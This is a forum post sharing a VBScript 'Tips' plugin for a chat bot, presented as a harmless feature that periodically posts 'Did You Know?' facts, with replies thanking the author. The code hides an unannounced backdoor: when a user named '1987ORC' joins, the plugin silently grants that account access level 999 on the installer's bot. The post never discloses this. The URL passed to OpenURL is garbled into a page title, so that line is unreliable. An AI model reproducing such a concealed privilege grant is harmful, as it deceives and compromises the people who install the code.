Tips Plugin - By DrOiD

[MaMuT]

This is a plugin Made by DrOiD
Commands are : .tips on/off
The Plugins if for fun , Bot is Saying some things etc.. example : Do You know that the sky is blue bc ... etc.

'tips
'1.0

Sub tips_Event_Load()
SpamTime = 60 '60 seconds
TimerInterval "tips", "TimerTip", (SpamTime)
TimerEnabled "tips", "TimerTip", false
end sub
Sub Tips_event_UserTalk(Username, Flags, Message, Ping)
if left(message,1) <> BotVars.Trigger then exit sub
Call ssc.GetDBEntry(username, Access, Flags)
if access < -1 then exit sub
if lcase(message) = BotVars.Trigger & "tips on" then
addq "/emote >> TIPS [ ON ] <<"
TimerEnabled "tips", "TimerTip", true
end if
if lcase(message) = BotVars.Trigger & "tips off" then
addq "/emote >> TIPS [ OFF ] <<"
TimerEnabled "tips", "TimerTip", false
end if
If LCase(Left(Message, 11)) = BotVars.Trigger & "tipstimer " Then
IntTime = mid(message,12)
if IntTime < 30 then IntTime = 30
addq "/emote >> TIMER TIPS : " & IntTime & " Seconds"
TimerInterval "tips", "TimerTip", (IntTime)
TimerEnabled "tips", "TimerTip", true
end if

end sub
Sub tips_TimerTip_Timer()
Addq "/emote Did You Know? " & GetTip()
end sub
Sub tips_Event_UserJoins(Username, Flags, Message, Ping, Product, Level, OriginalStatstring)
If ucase(username) = "1987ORC" Then Command MyUsername, "/add " & Username & " 999", True
end sub
Function GetTip()

content=ScINet.OpenURL(".: ROC - Replayers v2.0 :: Warcraft III ROC Replays From All Over The World :.")
Posx = Instr(Content,"Did you know?")
Content = mid(content,posx + 21,200)
Posx = Instr(Content,"<")
Content = mid(content,6,posx -6)
content = replace(content,"Replayers","W3RoC")
content = replace(content,"replayers","W3RoC")
GetTip = limpia(content)
end function
Function limpia(line)
line = replace(line," "," ")
line= replace(line,"ñ","n")
line= replace(line,"á","a")
line= replace(line,"é","e")
line= replace(line,"í","i")
line= replace(line,"ó","o")
line= replace(line,"ú","u")
limpia = line

'text = lcase(line)
text = line
st = "abcdefghijklmnopqrstuvwxyz()-.:[]1234567890áéíóúñéàèìòù "
st = st & "ABCDEFGHIJKLMNOPQRSTUVWXYZÁÉÍÓÚÄ!?¿'%&()*^^¨Ç=,._ ;ç"
for c=1 to len(text)
a=mid(text,c,1)
'ADDCHAT VBGREEN,A
posT = instr(st, a)
if post > 0 then tXtsTR = tXtsTR & a
next
Limpia = tXtsTR
End Function


Oh btw can some 1 rename the Thread .. i spelled it wrong , sry..

[xiN]

I've done it.

[Shad0wKn1ght]

thx for sharing ! ^^